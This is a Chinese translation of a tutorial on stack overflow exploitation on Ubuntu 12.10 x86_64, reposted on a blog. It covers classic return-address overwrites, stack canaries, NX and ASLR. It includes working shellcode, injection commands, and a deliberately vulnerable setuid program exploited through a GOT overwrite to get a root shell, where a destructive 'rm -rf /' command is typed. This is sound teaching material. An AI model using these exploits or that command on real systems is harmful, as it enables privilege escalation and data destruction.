[翻译]现代Linux系统上的栈溢出攻击【转】
生活随笔
收集整理的這篇文章主要介紹了
[翻译]现代Linux系统上的栈溢出攻击【转】
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
轉自:http://www.codeweblog.com/%E7%BF%BB%E8%AF%91-%E7%8E%B0%E4%BB%A3linux%E7%B3%BB%E7%BB%9F%E4%B8%8A%E7%9A%84%E6%A0%88%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB/
現代Linux系統上的棧溢出攻擊2012.12.21 - 06:56 — jip預備知識:對C語言和 X86_64 匯編語言有基本的了解++++++++++++++++++++++++++++++++++++++++++++ Stack Smashing On A Modern Linux System ++ jip@soldierx.com ++翻譯:sincoder admin@sincoder.com ++++++++++++++++++++++++++++++++++++++++++++ 1. 基本內容這個教程試著向讀者展示最基本的棧溢出攻擊和現代Linux發行版中針對這種攻擊的防御機制。為此我選擇了最新版本的Ubuntu系統(12.10),因為它默認集成了幾個安全防御機制,而且它也是一個非常流行的發行版。安裝和使用都很方便。我們選擇的系統是X86_64的。讀者將會了解到棧溢出是怎樣在那些默認沒有安全防御機制的老系統上面成功的溢出的。而且還會解釋在最新版本的Ubuntu上這些保護措施是如何工作的。我還會使用一個小例子來說明如果不阻止一個棧上面的數據結構被溢出那么程序的執行路徑就會失去控制 。盡管本文中使用的攻擊方式不像經典的棧溢出的攻擊方式,而更像是對堆溢出或者格式化字符串漏洞的利用方式,盡管有各種保護機制的存在溢出還是不可避免的存在。現在如果你還不懂這些,不要擔心,我會在下面的文章中詳細的講解。 2. 使用的系統關于不同版本的ubuntu 系統中默認啟用的安全控制機可以看這里:https://wiki.ubuntu.com/Security/Features-----------------------------------$ uname -srp && cat /etc/lsb-release | grep DESC && gcc --version | grep gccLinux 3.5.0-19-generic x86_64DISTRIB_DESCRIPTION="Ubuntu 12.10"gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2----------------------------------- 3. 經典的棧溢出首先讓我們回到從前,一切都很簡單,向棧上面復制草率的復制數據很容易導致程序的執行完全失控。可以看下面的例子(沒有考了到許多保護機制).-----------------------------------$ cat oldskool.c#include <string.h>void go(char *data) {char name[64];strcpy(name, data);}int main(int argc, char **argv) {go(argv[1]);}-----------------------------------在測試之前,我們需要禁用系統的 ASLR ,你可以這么來做:-----------------------------------$ sudo -iroot@laptop:~# echo "0" > /proc/sys/kernel/randomize_va_spaceroot@laptop:~# exitlogout-----------------------------------在很老的機器上面也許還不存在這個包含機制。為了同時禁用掉其他的保護(主要是編譯器生成的運行時棧檢測代碼) 我們可以這樣來編譯我們的例子:$ gcc oldskool.c -o oldskool -zexecstack -fno-stack-protector -g下面來看看這個示例程序,我們可以看到 我們在函數中在棧上面分配了64字節的緩沖區,然后把命令行的第一個參數復制到這個緩沖區里面。程序沒有檢測第一個參數的長度是不是大于64字節就直接調用strcpy 來復制數據了,眾所周知,這樣會導致棧溢出。 現在為了得到程序控制權限,我們需要知道這樣一個事實,就是任意一個C函數在進入一個函數之前,都會把它即將執行的下一條指令的地址壓到棧中(也就是call指令做的事情 把call的下一條指令壓棧,這樣函數就知道要返回哪個地址繼續執行了)。我們把這個地址叫做函數返回地址或者叫 “已保存的指令的指針”。在我們的例子里面 返回地址就是我們在執行完我們的 go()函數后下一步要執行的那條指令的地址。這個地址就僅挨著我們的 name[64] 這個緩沖區。因為棧的工作方式(譯者注:也就是棧是向低地址衍生的,也就是說最后進棧的保存在棧最低的地址處),如果用戶的數據超過了緩沖區的長度,那么輸入的數據就會覆蓋掉函數的返回地址(譯者注:因為往緩沖區里面寫數據是從低地址向高地址寫,所以當寫完函數分配緩沖區,下面的4個字節就是函數的返回地址了)。函數返回的時候就會跳到錯誤的地址處去執行,一個攻擊者就能通過把他們要執行的機器碼復制到一個緩沖區中,然后把返回地址指向那個緩沖區來劫持程序的執行流程。然后攻擊者就可以隨意的讓程序做一些他們想做的事情,也許是因為好玩也行是為了利益。廢話不多說,讓我來給你們演示下吧 如果你看不懂下面使用的命令,你可以在 http://beej.us/guide/bggdb/ 看一下GDB 的使用教程。-----------------------------------$ gdb -q ./oldskoolReading symbols from /home/me/.hax/vuln/oldskool...done.(gdb) disas mainDump of assembler code for function main:0x000000000040053d <+0>: push %rbp0x000000000040053e <+1>: mov %rsp,%rbp0x0000000000400541 <+4>: sub $0x10,%rsp0x0000000000400545 <+8>: mov %edi,-0x4(%rbp)0x0000000000400548 <+11>: mov %rsi,-0x10(%rbp)0x000000000040054c <+15>: mov -0x10(%rbp),%rax0x0000000000400550 <+19>: add $0x8,%rax0x0000000000400554 <+23>: mov (%rax),%rax0x0000000000400557 <+26>: mov %rax,%rdi0x000000000040055a <+29>: callq 0x40051c0x000000000040055f <+34>: leaveq0x0000000000400560 <+35>: retqEnd of assembler dump.(gdb) break *0x40055aBreakpoint 1 at 0x40055a: file oldskool.c, line 11.(gdb) run mynameStarting program: /home/me/.hax/vuln/oldskool mynameBreakpoint 1, 0x000000000040055a in main (argc=2, argv=0x7fffffffe1c8)11 go(argv[1]);(gdb) x/i $rip=> 0x40055a : callq 0x40051c(gdb) i r rsprsp 0x7fffffffe0d0 0x7fffffffe0d0(gdb) sigo (data=0xc2 ) at oldskool.c:44 void go(char *data) {(gdb) i r rsprsp 0x7fffffffe0c8 0x7fffffffe0c8(gdb) x/gx $rsp0x7fffffffe0c8: 0x000000000040055f-----------------------------------我們在調用go函數之前設置了一個斷電, 在 0x000000000040055a <+29>.然后我們使用參數 myname 來執行我們的程序, 然后程序在進入go函數的時候停了下來. 然后我們通過命令si來執行一條指令。然后看下棧指針 rsp (因為是64位的系統嘛),可以看出rsp的值就是 call go 的下一條指令的地址 0x000000000040055f <+34>。這些就是我們上面所講的。下面的輸出顯示當go函數調用結束的時候,會執行 retq 這個指令,這個指令會將函數的返回地址彈出棧,然后跳到這個地址去執行而不管這個地址指向哪里 。-----------------------------------(gdb) disas goDump of assembler code for function go:=> 0x000000000040051c <+0>: push %rbp0x000000000040051d <+1>: mov %rsp,%rbp0x0000000000400520 <+4>: sub $0x50,%rsp0x0000000000400524 <+8>: mov %rdi,-0x48(%rbp)0x0000000000400528 <+12>: mov -0x48(%rbp),%rdx0x000000000040052c <+16>: lea -0x40(%rbp),%rax0x0000000000400530 <+20>: mov %rdx,%rsi0x0000000000400533 <+23>: mov %rax,%rdi0x0000000000400536 <+26>: callq 0x4003f00x000000000040053b <+31>: leaveq0x000000000040053c <+32>: retqEnd of assembler dump.(gdb) break *0x40053cBreakpoint 2 at 0x40053c: file oldskool.c, line 8.(gdb) continueContinuing.Breakpoint 2, 0x000000000040053c in go (data=0x7fffffffe4b4 "myname")8 }(gdb) x/i $rip (gdb x命令用于查看內存的數據)=> 0x40053c : retq(gdb) x/gx $rsp0x7fffffffe0c8: 0x000000000040055f(gdb) simain (argc=2, argv=0x7fffffffe1c8) at oldskool.c:1212 }(gdb) x/gx $rsp0x7fffffffe0d0: 0x00007fffffffe1c8(gdb) x/i $rip=> 0x40055f : leaveq(gdb) quit-----------------------------------我們在fo函數即將返回的地方下一個斷電然后繼續執行。程序會在執行retq指令的地方停下來。我們可以看到棧寄存器rsp還是指向main函數內部那個即將在go函數后面執行的指令。等retq 執行完了,我們可以看出程序立即把返回地址彈出棧讓跳過去執行了。現在我們要去覆蓋這個返回地址使用perl來提供多于64個字節的數據 。-----------------------------------$ gdb -q ./oldskoolReading symbols from /home/me/.hax/vuln/oldskool...done.(gdb) run `perl -e 'print "A"x48'`Starting program: /home/me/.hax/vuln/oldskool `perl -e 'print "A"x80'`Program received signal SIGSEGV, Segmentation fault.0x000000000040059c in go (data=0x7fffffffe49a 'A' )12 }(gdb) x/i $rip=> 0x40059c : retq(gdb) x/gx $rsp0x7fffffffe0a8: 0x4141414141414141-----------------------------------我們使用prel在命令行中打印出80個"A",然后把它作為參數傳遞給我們的實例程序。我們可以看出當程序執行完retq指令的時候崩潰了。因為程序試圖跳到的返回地址被字符“A"(0x41) 填充了。主要我們必須要寫入80個字節(64+8+8)因為指針在64位機器上面是8個字節的,為什么要加兩個8呢 因為在我們的緩沖區和返回地址之間還保存著一個指針 有木有注意到go函數的第一條指令 push ebp ?! 好了,那么現在我們可以做到把程序的執行路徑重定向到任意的位置 然后執行我們的命令了嗎 ?如果我們把我們的指令放到name[]這個數組中,然后把函數的返回地址覆蓋成數組的起始地址,程序就會執行我們的指令(或者說是傳說中的shellcode),我們需要知道name[]數組的地址然后才能知道需要把返回地址覆蓋成什么值。在本文中我不會教大家如果創建一個shellcode 因為這個有點超出本文的范圍了。但是我還是會給你提供一個在屏幕上打印一個消息的shellcode 。我們可以這樣來得到name數組的地址。-----------------------------------(gdb) p &name$2 = (char (*)[32]) 0x7fffffffe0a0-----------------------------------我們可以使用perl來在命令行上打印不可打印的字符,通過使用對應的16進制來轉義,就像這樣"\x41"。由于機器上面存儲整數和指針是使用小端(little-endian)的,所以我們需要將字節的順便反過來。因此我們要去覆蓋返回地址的值就是 "\xa0\xe0\xff\xff\xff\x7f"下面就是會在屏幕上打印出我們的消息然后退出的shellcode:"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48 \x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" 這些只是要執行的指令的機器碼形式,這樣轉義后,他們就可以使用perl來打印了。因為shellcode 的長度是45字節,但是我們需要72個字節才能覆蓋掉SIP。所以需要再加上27個字節。好了 下面就是我們要使用的字符串:"\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48 \x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f" 當程序執行完go() 這個函數的時候就會跳到0x7fffffffe0a0去執行。而這個地址正是name[]數組的地址,此時name[]數組里面已經被填充上我們的shellcode了。不出意外的話,程序就會執行我們的shellcode然后打印出消息 ,然后退出,好了 現在我們來試一試(注意執行前 清除掉所有的斷點 (譯者注:如果你在調試器里面執行的話)):-----------------------------------$ ./oldskool `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48 \xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\xa0\xe0\xff\xff\xff\x7f"'` Hax!$-----------------------------------可以看到,我們shellcode 被執行了,程序打印出消息然后退出了。 4. 保護機制歡迎來到2012年,上面的例子在層層保護之下已經不能工作了。現在在我們的Ubuntu機器上面使用了很多不同的保護措施。這種形式的利用方式甚至已經不存在了。當然棧中還是會發生溢出,也還是有新的方法來利用它。這就是我下面一節要介紹的。但是首先還是讓我們來了解下各種保護機制吧。4.1 堆棧保護在上面的例子里面我們使用-fno-stack-protector 標識來告訴gcc 我們不想啟用堆棧保護。如果我們把這個選項和前面加的其他選項都去掉呢 ?注意此時ASLR也被打開了,所有的東西都變成默認了。$ gcc oldskool.c -o oldskool -g我們先看看生成的二進制代碼,看看有什么變化。-----------------------------------$ gdb -q ./oldskoolReading symbols from /home/me/.hax/vuln/oldskool...done.(gdb) disas goDump of assembler code for function go:0x000000000040058c <+0>: push %rbp0x000000000040058d <+1>: mov %rsp,%rbp0x0000000000400590 <+4>: sub $0x60,%rsp0x0000000000400594 <+8>: mov %rdi,-0x58(%rbp)0x0000000000400598 <+12>: mov %fs:0x28,%rax0x00000000004005a1 <+21>: mov %rax,-0x8(%rbp)0x00000000004005a5 <+25>: xor %eax,%eax0x00000000004005a7 <+27>: mov -0x58(%rbp),%rdx0x00000000004005ab <+31>: lea -0x50(%rbp),%rax0x00000000004005af <+35>: mov %rdx,%rsi0x00000000004005b2 <+38>: mov %rax,%rdi0x00000000004005b5 <+41>: callq 0x4004500x00000000004005ba <+46>: mov -0x8(%rbp),%rax0x00000000004005be <+50>: xor %fs:0x28,%rax0x00000000004005c7 <+59>: je 0x4005ce0x00000000004005c9 <+61>: callq 0x400460 <__stack_chk_fail@plt>0x00000000004005ce <+66>: leaveq0x00000000004005cf <+67>: retqEnd of assembler dump.-----------------------------------如果我們觀察go+12 和 go+21,可以看到一個值被從$fs+0x28 或者%fs:0x28。這個地址指向的值并不重要,現在我只告訴你:fs 指向的結構是供內核使用的(為內核保留的),我們不能使用gdb 來查看fs 的值。但是我們只需要知道這個地方包含了一個隨機的值,已經被證明我們是不能提前預測這個值的。-----------------------------------(gdb) break *0x0000000000400598Breakpoint 1 at 0x400598: file oldskool.c, line 4.(gdb) runStarting program: /home/me/.hax/vuln/oldskoolBreakpoint 1, go (data=0x0) at oldskool.c:44 void go(char *data) {(gdb) x/i $rip=> 0x400598 : mov %fs:0x28,%rax(gdb) si0x00000000004005a1 4 void go(char *data) {(gdb) i r raxrax 0x110279462f20d0001225675390943547392(gdb) runThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/me/.hax/vuln/oldskoolBreakpoint 1, go (data=0x0) at oldskool.c:44 void go(char *data) {(gdb) si0x00000000004005a1 4 void go(char *data) {(gdb) i r raxrax 0x21f95d1abb2a0800 2448090241843202048-----------------------------------我們在將那個值從 $fs+0x28移到rax的指令處下斷點,然后執行這條指令,查看rax的值,重復這個過程我們可以清楚的看到這個值每次運行都會變化,所以這是個每次程序運行都會改變的值。也就是說攻擊者不能提前知道這個值。但是這個值是怎么用來保護棧的呢?如果我們看 go+21 處 ,可以看出這個值被拷貝到 -0x8(%rbp) 處。可以看出這個值恰好在函數的局部變量和函數的返回地址之間。這個值被叫做”金絲雀”,也就是礦工用來提醒他們瓦斯泄露的。因為金絲雀對瓦斯比較忙敏感,會比人先死去。類比下,當發生緩沖區溢出的時候,這個值會比函數的返回地址先被覆蓋。如果我們看下 go+46 和 go+50 的地方,可以看出這個值被從堆棧里面讀出來。然后和原來的值做對比,如果他們是一樣的那么就說明值沒有改變,也就是說函數的返回地址也沒被改變,然后就運行函數正常的退出了。但是如果這個值改變了,就說明發送了棧溢出,保存的函數返回地址有可能被改寫了。于是函數就會執行__stack_chk_fail函數,這個函數會拋出一個錯誤,然后讓進程退出。就像下面你看到的一樣:-----------------------------------$ ./oldskool `perl -e 'print "A"x80'`*** stack smashing detected ***: ./oldskool terminatedAborted (core dumped)-----------------------------------讓我們來回顧下整個過程,緩沖區被溢出了,數據被復制到緩沖區外面并且覆蓋掉了那個“金絲雀”值(譯者注: windows 上面也有類似的機制,不過在windows上這個值叫做安全cookies )同時也覆蓋掉了函數的返回地址。但是,悲劇的是在函數就要返回到那個被改寫的地址繼續執行的時候,函數檢查了下那個金絲雀值是不是被改寫了。于是函數沒有返回而是執行另外一個函數安全的讓進程退出了。現在壞消息來了,對于一個攻擊者并沒有一個很好的方式來繞過這個檢測。你可能會想到暴力猜解那個金絲雀值。但是這個值每次都不同,除非你非常的幸運被你猜到了 (譯者注:概率:1/2^32),而且這樣做也是費時而且容易被發現的。但是還有好消息,那就是在很多的情況下這個并不能阻止溢出攻擊。舉例來說,棧里面的金絲雀值只是保護SIP不被非法的改寫,但是它不能阻止函數的局部變量被改寫。這就很容易導致下一步的溢出,這會在下面的文章里演示。上面講的保護機制有效的阻止我們老的攻擊方式的攻擊,但是馬上這種保護機制就會失效。4.2 NX:不可執行內存你可能注意到我們不僅僅去掉了-fno-stack-protector這個標識,同時也去掉了-zexecstack標識,(也就是允許執行棧中的代碼)現代的操作系統是不允許這種情況發生的,系統把需要寫入數據的內存標識為可行,把保存指令的內存標識為可執行,但是不會有一塊內存被同時標識為可寫和可執行的。因此我們既不能在可執行的內存區域寫入我們的shellcode 也不能在可寫入的地方執行我們的shellcode (譯者注:哈哈 系統的保護錯誤很變態吧 本來內存就只要可讀 或者 可寫屬性 后來加入的 可執行 屬性大大增強了系統的安全性)。我們需要另外的一種方式來讓欺騙程序執行我們的代碼,答案就是ROP(Return-Oriented Programming),這個技巧就是使用程序中已經有的代碼片段,也就是位于可執行文件的.text節里面代碼,使用一種方式將這些代碼片段鏈到一起使他們看來就像我們以前的shellcode。關于此,我不會深入的講解,但是我會在文件的結尾給大家一個例子。還是讓我先展示下如果程序如果執行堆棧里的代碼會發送的情況(肯定是執行失敗了)。-----------------------------------$ cat nx.cint main(int argc, char **argv) {char shellcode[] ="\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff""\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48""\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21";void (*func)() = (void *)shellcode;func();}$ gcc nx.c -o nx -zexecstack$ ./nxHax!$$ gcc nx.c -o nx$ ./nxSegmentation fault (core dumped)-----------------------------------我們把我們要執行的代碼放到了堆棧上的一個數組里,然后讓一個函數指針指向這個數組,然后執行這個函數。當我們編譯的時候和之前一樣帶上 –zexecstack,我們的shellcode 就會執行,但是如果不帶上這個選項,棧空間就會被標識為不可執行的,程序也就會隨著一個段錯誤而執行失敗。4.3 ASLR:地址空間隨機化我們為了演示那個經典的溢出攻擊,做的最后一件事就是關掉 ASLR,通過在root下執行echo "0" > /proc/sys/kernel/randomize_va_space 。ASLR可以確保每次程序被加載的時候,他自己和他所加載的庫文件都會被映射到虛擬地址空的不同地址處。這就意味著我們不能使用我們自己在gdb里面調試時的地址了。因為這個程序在運行的時候這個地址有可能變成另外一個。要注意當你調試一個程序的時候 gdb 會關掉ASLR。但是我們可以在調試的時候打開這個選項,以便我們可以更真實的看到程序執行時發送的一切,具體看下面的演示(輸出的過長字符串在右邊截斷了,左邊顯示的地址信息才是最重要的):-----------------------------------$ gdb -q ./oldskoolReading symbols from /home/me/.hax/vuln/oldskool...done.(gdb) set disable-randomization off(gdb) break mainBreakpoint 1 at 0x4005df: file oldskool.c, line 11.(gdb) runStarting program: /home/me/.hax/vuln/oldskoolBreakpoint 1, main (argc=1, argv=0x7fffe22fe188) at oldskool.c:1111 go(argv[1]);(gdb) i proc mapprocess 6988Mapped address spaces:Start Addr End Addr Size Offset objfile0x400000 0x401000 0x1000 0x0 /home/me/.hax/vuln0x600000 0x601000 0x1000 0x0 /home/me/.hax/vuln0x601000 0x602000 0x1000 0x1000 /home/me/.hax/vuln0x7f0e120ef000 0x7f0e122a4000 0x1b5000 0x0 /lib/x86_64-linux-0x7f0e122a4000 0x7f0e124a3000 0x1ff000 0x1b5000 /lib/x86_64-linux-0x7f0e124a3000 0x7f0e124a7000 0x4000 0x1b4000 /lib/x86_64-linux-0x7f0e124a7000 0x7f0e124a9000 0x2000 0x1b8000 /lib/x86_64-linux-0x7f0e124a9000 0x7f0e124ae000 0x5000 0x00x7f0e124ae000 0x7f0e124d0000 0x22000 0x0 /lib/x86_64-linux-0x7f0e126ae000 0x7f0e126b1000 0x3000 0x00x7f0e126ce000 0x7f0e126d0000 0x2000 0x00x7f0e126d0000 0x7f0e126d1000 0x1000 0x22000 /lib/x86_64-linux-0x7f0e126d1000 0x7f0e126d3000 0x2000 0x23000 /lib/x86_64-linux-0x7fffe22df000 0x7fffe2300000 0x21000 0x0 [stack]0x7fffe23c2000 0x7fffe23c3000 0x1000 0x0 [vdso]0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall](gdb) runThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/me/.hax/vuln/oldskoolBreakpoint 1, main (argc=1, argv=0x7fff7e16cfd8) at oldskool.c:1111 go(argv[1]);(gdb) i proc mapprocess 6991Mapped address spaces:Start Addr End Addr Size Offset objfile0x400000 0x401000 0x1000 0x0 /home/me/.hax/vuln0x600000 0x601000 0x1000 0x0 /home/me/.hax/vuln0x601000 0x602000 0x1000 0x1000 /home/me/.hax/vuln0x7fdbb2753000 0x7fdbb2908000 0x1b5000 0x0 /lib/x86_64-linux-0x7fdbb2908000 0x7fdbb2b07000 0x1ff000 0x1b5000 /lib/x86_64-linux-0x7fdbb2b07000 0x7fdbb2b0b000 0x4000 0x1b4000 /lib/x86_64-linux-0x7fdbb2b0b000 0x7fdbb2b0d000 0x2000 0x1b8000 /lib/x86_64-linux-0x7fdbb2b0d000 0x7fdbb2b12000 0x5000 0x00x7fdbb2b12000 0x7fdbb2b34000 0x22000 0x0 /lib/x86_64-linux-0x7fdbb2d12000 0x7fdbb2d15000 0x3000 0x00x7fdbb2d32000 0x7fdbb2d34000 0x2000 0x00x7fdbb2d34000 0x7fdbb2d35000 0x1000 0x22000 /lib/x86_64-linux-0x7fdbb2d35000 0x7fdbb2d37000 0x2000 0x23000 /lib/x86_64-linux-0x7fff7e14d000 0x7fff7e16e000 0x21000 0x0 [stack]0x7fff7e1bd000 0x7fff7e1be000 0x1000 0x0 [vdso]0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]-----------------------------------我們把"disable-randomization"設置成 “off” 。我們兩次運行了程序然后查看進程的模塊在內存中映射的地址。我們發現他們中的大部分的地址都是不同的。但是并不是每一個模塊都這樣,這就是在ASLR被開啟的情況下,漏洞仍然可以利用成功的關鍵原因。 5. 現代的棧溢出攻擊雖然有這么多的保護措施,但是還是有溢出漏洞,而且有時我們可以成功的利用這些漏洞。我已經向你們演示棧中的金絲雀可以保護程序在溢出的情況下不跳到惡意的SIP去執行。但是這只金絲雀僅僅被放到了SIP的前面而不是在棧中的局部變量里面。所以我們可以使用第一個例子里面覆蓋SIP(也就是函數返回地址 函數返回的時候SIP就會被賦予這個值)的那種方法來覆蓋函數的局部變量。而這個會導致許多不同的問題,在一些情況下,我們覆蓋了一個函數指針,這個指針會在未來某一個時刻被執行。也有可能我們覆蓋了一個指針,這個指針指向的內存會在未來被寫入用戶數據,于是攻擊者就可以在任意的位置寫入數據了。類似的情形經常會被成功的利用而得到進程的控制權。下面的代碼就演示了這樣的一個漏洞:-----------------------------------$ cat stackvuln.c#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>#define MAX_SIZE 48#define BUF_SIZE 64char data1[BUF_SIZE], data2[BUF_SIZE];struct item {char data[MAX_SIZE];void *next;};int go(void) {struct item item1, item2;item1.next = &item2;item2.next = &item1;memcpy(item1.data, data1, BUF_SIZE); // Whoops, did we mean MAX_SIZE? memcpy(item1.next, data2, MAX_SIZE); // Yes, yes we did. exit(-1); // Exit in shame. }void hax(void) {execl("/bin/bash", "/bin/bash", "-p", NULL);}void readfile(char *filename, char *buffer, int len) {FILE *fp;fp = fopen(filename, "r");if (fp != NULL) {fread(buffer, 1, len, fp);fclose(fp);}}int main(int argc, char **argv) {readfile("data1.dat", data1, BUF_SIZE);readfile("data2.dat", data2, BUF_SIZE);go();}$ gcc stackvuln.c -o stackvuln$ sudo chown root:root stackvuln$ sudo chmod +s ./stackvuln-----------------------------------為了演示我加入了一個 hax() 函數,很明顯這個就是我們要把進程的執行路徑改寫到的位置。一開始我想加入一個例子來使用ROP鏈來執行一個函數 像是 system 但是因為兩個理由我決定不這么做了,第一就是這樣有點超出本文的范圍了,這對初學者來說還太難。第二就是在這個小程序里面找到合適的函數實在太難。使用這個函數(hax())是因為:由于NX,我們不能將我們自己的shellcode壓到棧里面然后執行它,但是我們可以重用在程序中已有的代碼(可以是一個函數,也可以是一個ROP鏈起來的一連串指令)。如果你關心如果使用ROP你可以谷歌 “ROP exploitation”。我們程序的溢出發生在go()函數。它創建了一個兩個struct item類元素的循環鏈表。第一次拷貝實際上向結構里面復制了過多的字節,這就運行我們覆蓋掉第二次調memcpy使用的next指針,所以如果我們能夠選擇性的覆蓋掉next指針我們就能讓第二次復制的時候將數據寫到我們希望的地方。除此之外我們還控制了data1和data2,因為這兩個緩沖區的內容都是從文件中讀取的。當然這些數據也可能從網絡或者其他的一些輸入,我選擇文件是因為它讓我們很容易改變playload (shellcode 的載體)來做演示。現在我們可以向任意我們想要的地方寫入48字節了,但是我們怎樣通過這個來獲得程序的控制權?我們即將使用一個叫做 GOT/PLT 的結構。我會馬上解釋下它是什么,但是如果你需要的更多的了解,你可以google下。 .got.plt 是一個地址表,城市使用它來跟蹤庫中的函數,我前面已經說過ASLR確保每一個動態鏈接庫文件每一次在程序加載的時候都會被映射到不同的基址上面。所以程序就不能使用靜態的絕對地址來應用庫文件中的函數。程序使用了一個代理(stub)去計算函數真實的地址,并把它存放到一個表里面。所以每當函數需要被調用的時候,就需要使用到.got.plt表里面存放的地址。我們利用這一點來改寫這個地址,這樣下一次程序需要調用那個函數的時候,函數的調用就會被轉移到我們代碼上面,就像前面我們改寫函數的返回地址來轉義程序的執行目標。如果我們觀察下我們的例子,會發現在調用完memcpy 之后緊接著就調用了函數exit() 。如果我們可以改寫.got.plt表里面exit()函數的那一項,那么當函數去調用exit()函數的時候就會跳去執行我們代碼而不是libc 中的 exit() 。我們使用那一個地址去覆蓋呢?你猜對了,就是函數hax()的地址。首先,還是讓我為你演示下.got.plt表在調用exit()函數的時候是如果起作用的。-----------------------------------$ cat exit.c#include <stdlib.h>int main(int argc, char **argv) {exit(0);}$ gcc exit.c -o exit -g$ gdb -q ./exitReading symbols from /home/me/.hax/plt/exit...done.(gdb) disas mainDump of assembler code for function main:0x000000000040051c <+0>: push %rbp0x000000000040051d <+1>: mov %rsp,%rbp0x0000000000400520 <+4>: sub $0x10,%rsp0x0000000000400524 <+8>: mov %edi,-0x4(%rbp)0x0000000000400527 <+11>: mov %rsi,-0x10(%rbp)0x000000000040052b <+15>: mov $0x0,%edi0x0000000000400530 <+20>: callq 0x400400End of assembler dump.(gdb) x/i 0x4004000x400400 : jmpq *0x200c1a(%rip) # 0x601020(gdb) x/gx 0x6010200x601020 : 0x0000000000400406-----------------------------------可以看出在main+20的地方,應該是調用libc 里面的exit ,但是卻調用0x400400,這個地方就是exit函數的代理,它就會定位到0x601020這個地址然后從中讀取函數的地址去執行,此時這個地址還是在got.plt 里。當加載libc 的時候這個地方就會被填充上exit真實的地址。而我們就是要覆蓋掉這個地址為我們自己 函數的入口地址。為了讓我們的例子可以正常的工作,我們必須定位到.got.plt 中exit函數的地址,然后覆蓋掉這個結構中的指針,我們需要向data2這個緩沖區中寫入hax()函數的指針,首先覆蓋掉item1.next 這個指針,讓它指向 .got.plt 中exit的入口,然后使用hax()的地址來覆蓋掉此處exit()函數的地址。然后調用exit的時候,實際上是調用了我們的函數hax()。然后我們就會得到一個系統的root shell,但是有一點要注意,以及 execl 函數剛好被定位在exit 函數的后面,而我們的memcpy函數需要復制 48 個字節,所以我們需要保證 execl的地址不被改寫。-----------------------------------(gdb) mai i sect .got.pltExec file:`/tmp/stackvuln/stackvuln', file type elf64-x86-64.0x00601000->0x00601050 at 0x00001000: .got.plt ALLOC LOAD DATA HAS_CONTENTS(gdb) x/10gx 0x6010000x601000: 0x0000000000600e28 0x00000000000000000x601010: 0x0000000000000000 0x00000000004005260x601020 < fclose@got.plt>: 0x0000000000400536 0x00000000004005460x601030 < memcpy@got.plt>: 0x0000000000400556 0x00000000004005660x601040 < exit@got.plt>: 0x0000000000400576 0x0000000000400586(gdb) p hax$1 = {< text variable, no debug info >} 0x40073b-----------------------------------好了可以看出 exit 函數的入口在 0x601040 ,而hax()是在0x40073b,下面讓我們來構造我們的playload。-----------------------------------$ hexdump data1.dat -vC00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|00000030 40 10 60 00 00 00 00 00 |@.`.....|00000038$ hexdump data2.dat -vC00000000 3b 07 40 00 00 00 00 00 86 05 40 00 00 00 00 00 |;.@.......@.....|00000010-----------------------------------在第一次調用中,我們使用48個字節的無用數據然后使用.got.plt表入口的地址來覆蓋掉next指針。記住由于我們是在小端機器上面,所以地址的字節順序是反著的。第二個文件包含了函數 hax() 的指針,也就是要被寫到 .got.plt 表中的 exit 入口的地址。第二個地址是execl()函數的入口,第二個地址是execl的,這個是我們構造的正確的地址 只是為了讓這個函數可以正常的調用。當exit 被調用的時候,實際調用的是我們 hax() 函數的地址,也就是說這個時候hax() 函數被執行了。-----------------------------------$ ./stackvulnbash-4.2# whoamirootbash-4.2# rm -rf /?
轉載于:https://www.cnblogs.com/sky-heaven/p/6844534.html
總結
以上是生活随笔為你收集整理的[翻译]现代Linux系统上的栈溢出攻击【转】的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CentOS 6 nginx(Tengi
- 下一篇: Linux学习第二步(Java环境安装)